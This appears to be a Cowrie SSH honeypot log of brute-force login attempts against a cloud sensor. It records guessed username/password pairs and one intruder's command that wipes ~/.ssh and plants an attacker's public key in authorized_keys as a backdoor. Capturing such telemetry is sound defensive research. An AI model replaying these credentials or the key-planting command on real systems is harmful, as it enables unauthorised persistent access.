{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:24.315634Z","src_ip":"68.183.236.1","session":"0c4ce2dec0b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3624","message":"login attempt [admin/3624] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:24.802752Z","src_ip":"2.57.121.112","session":"85b117bdcb39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:25.293457Z","src_ip":"68.183.236.1","session":"0c4ce2dec0b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:25.532388Z","src_ip":"68.183.236.1","session":"0c4ce2dec0b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:25.539505Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:25.903809Z","src_ip":"2.57.121.112","session":"85b117bdcb39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":49202,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa4b4998c872","protocol":"ssh","message":"New connection: 136.248.247.188:49202 (159.203.135.109:22) [session: aa4b4998c872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:30.934005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:30.938219Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:31.078002Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abc.1234","message":"login attempt [root/Abc.1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:31.670313Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:31.987654Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:31.990888Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:31.994220Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:32.137300Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:32.447979Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:32.450292Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:32.594015Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:32.597794Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":49212,"dst_ip":"159.203.135.109","dst_port":22,"session":"560e84ecdbfd","protocol":"ssh","message":"New connection: 136.248.247.188:49212 (159.203.135.109:22) [session: 560e84ecdbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:32.725608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:32.729721Z","src_ip":"136.248.247.188","session":"560e84ecdbfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:32.862471Z","src_ip":"136.248.247.188","session":"560e84ecdbfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:33.426518Z","src_ip":"136.248.247.188","session":"560e84ecdbfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:34.563449Z","src_ip":"136.248.247.188","session":"560e84ecdbfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":49214,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f62811d8549","protocol":"ssh","message":"New connection: 136.248.247.188:49214 (159.203.135.109:22) [session: 3f62811d8549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:34.705009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:34.709580Z","src_ip":"136.248.247.188","session":"3f62811d8549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:34.853221Z","src_ip":"136.248.247.188","session":"3f62811d8549","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:35.461362Z","src_ip":"136.248.247.188","session":"3f62811d8549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:35.604046Z","src_ip":"136.248.247.188","session":"aa4b4998c872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:35.609936Z","src_ip":"136.248.247.188","session":"3f62811d8549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39906,"dst_ip":"159.203.135.109","dst_port":22,"session":"845fb44dde2c","protocol":"ssh","message":"New connection: 2.57.122.96:39906 (159.203.135.109:22) [session: 845fb44dde2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:48.053743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:48.057935Z","src_ip":"2.57.122.96","session":"845fb44dde2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:48.156820Z","src_ip":"2.57.122.96","session":"845fb44dde2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:48.474428Z","src_ip":"2.57.122.96","session":"845fb44dde2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:49.576109Z","src_ip":"2.57.122.96","session":"845fb44dde2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":57128,"dst_ip":"10.17.0.5","dst_port":22,"session":"21edeb8afa8a","protocol":"ssh","message":"New connection: 103.134.154.36:57128 (10.17.0.5:22) [session: 21edeb8afa8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:58.834518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:58.838252Z","src_ip":"103.134.154.36","session":"21edeb8afa8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:59.068305Z","src_ip":"103.134.154.36","session":"21edeb8afa8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cheeki","password":"123456","message":"login attempt [cheeki/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:00.017465Z","src_ip":"103.134.154.36","session":"21edeb8afa8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:01.249714Z","src_ip":"103.134.154.36","session":"21edeb8afa8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55782,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2da3da4850d","protocol":"ssh","message":"New connection: 2.57.122.208:55782 (10.17.0.5:22) [session: b2da3da4850d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:18.454630Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:18.559865Z","src_ip":"2.57.122.208","session":"b2da3da4850d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":34780,"dst_ip":"159.203.135.109","dst_port":22,"session":"9792987cac73","protocol":"ssh","message":"New connection: 138.99.80.102:34780 (159.203.135.109:22) [session: 9792987cac73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:26.049551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:26.053966Z","src_ip":"138.99.80.102","session":"9792987cac73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:26.159981Z","src_ip":"138.99.80.102","session":"9792987cac73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"builder","password":"builder1234","message":"login attempt [builder/builder1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:26.614621Z","src_ip":"138.99.80.102","session":"9792987cac73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:29:27.722949Z","src_ip":"138.99.80.102","session":"9792987cac73","protocol":"ssh"}
